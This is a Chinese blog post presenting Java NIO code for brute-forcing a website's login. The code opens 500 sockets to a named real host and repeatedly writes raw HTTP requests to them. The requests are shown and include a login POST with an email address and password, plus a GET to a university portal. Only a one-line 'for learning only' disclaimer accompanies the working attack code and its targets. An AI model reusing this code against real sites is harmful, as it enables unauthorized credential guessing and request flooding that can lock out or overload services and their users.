美文网首页
java SocketChannel暴力穷举

java SocketChannel暴力穷举

作者: small瓜瓜 | 来源:发表于2019-07-21 21:19 被阅读0次

对一个网站密码暴力穷举是非常慢的,但是这也是一个比较简单的做法,下面演示的是用java SocketChannel做连接,然后发送大量的数据流给服务器,在这里,只需要一次TCP连接好后就可以,在速度上大大加快了,使用nio也可以在同一个线程中管理多个连接,使速度更上一城楼。下面是演示代码

import io.netty.util.CharsetUtil;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
import java.nio.channels.SocketChannel;
import java.util.*;

public class Main {

    public static void main(String[] args) throws InterruptedException, IOException {
        String out = loadFile("D:\\Java_WorkSpace\\netty_update\\file\\out.txt");
        Selector selector = Selector.open();
        List<SocketChannel> channelList = new ArrayList<>();
        for (int i = 0; i < 500; i++) {
            SocketChannel channel = SocketChannel.open(new InetSocketAddress("xmm.itreatment.top", 80));
            channel.configureBlocking(false);
            channel.register(selector, SelectionKey.OP_READ);
            channelList.add(channel);
        }
        ByteBuffer allocate = ByteBuffer.allocate(out.length());
        allocate.put(out.getBytes(CharsetUtil.UTF_8));

        Timer timer = new Timer();
        timer.schedule(new TimerTask() {
            @Override
            public void run() {
                Iterator<SocketChannel> iterator = channelList.iterator();
                while (iterator.hasNext()) {
                    SocketChannel channel = iterator.next();
                    allocate.clear();
                    try {
                        channel.write(allocate);
                    } catch (IOException e) {
                        e.printStackTrace();
                        iterator.remove();
                    }
                }
            }
        }, 0, 1000);

        int count = 0;
        while (selector.select() > 0) {
            Set<SelectionKey> selectionKeys = selector.selectedKeys();
            Iterator<SelectionKey> iterator = selectionKeys.iterator();
            while (iterator.hasNext()) {
                SelectionKey selectionKey = iterator.next();
                if (selectionKey.isReadable()) {
                    System.out.println("count:" + ++count);
//                    SocketChannel channel = (SocketChannel) selectionKey.channel();
//                    ByteBuffer readbb = ByteBuffer.allocate(1024);
//                    while (channel.read(readbb) > 0) {
//                        readbb.flip();
//                        System.out.println(new String(readbb.array(), readbb.position(), readbb.limit()));
//                        readbb.clear();
//                    }
                }
                iterator.remove();
            }
        }
    }

    private static String loadFile(String fileName) throws IOException {
        FileInputStream fileInputStream = new FileInputStream(fileName);
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(fileInputStream));
        String line;
        StringBuilder sb = new StringBuilder();
        while ((line = bufferedReader.readLine()) != null) {
            sb.append(line).append("\n");
        }
        return sb.toString();
    }
}
POST /jxnu/LoginChack HTTP/1.1
Host: xmm.itreatment.top
Connection: keep-alive
Content-Length: 40
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
Origin: http://xmm.itreatment.top
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://xmm.itreatment.top/jxnu/login.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

name=5924695%40qq.com&password=111
GET /Portal/Index.aspx HTTP/1.1
Host: jwc.jxnu.edu.cn
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Referer: http://jwc.jxnu.edu.cn/Portal/Index.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


技术仅用用于学习,请勿做出超出法律法规之事。

相关文章

网友评论

      本文标题:java SocketChannel暴力穷举

      本文链接:https://www.haomeiwen.com/subject/wplzhctx.html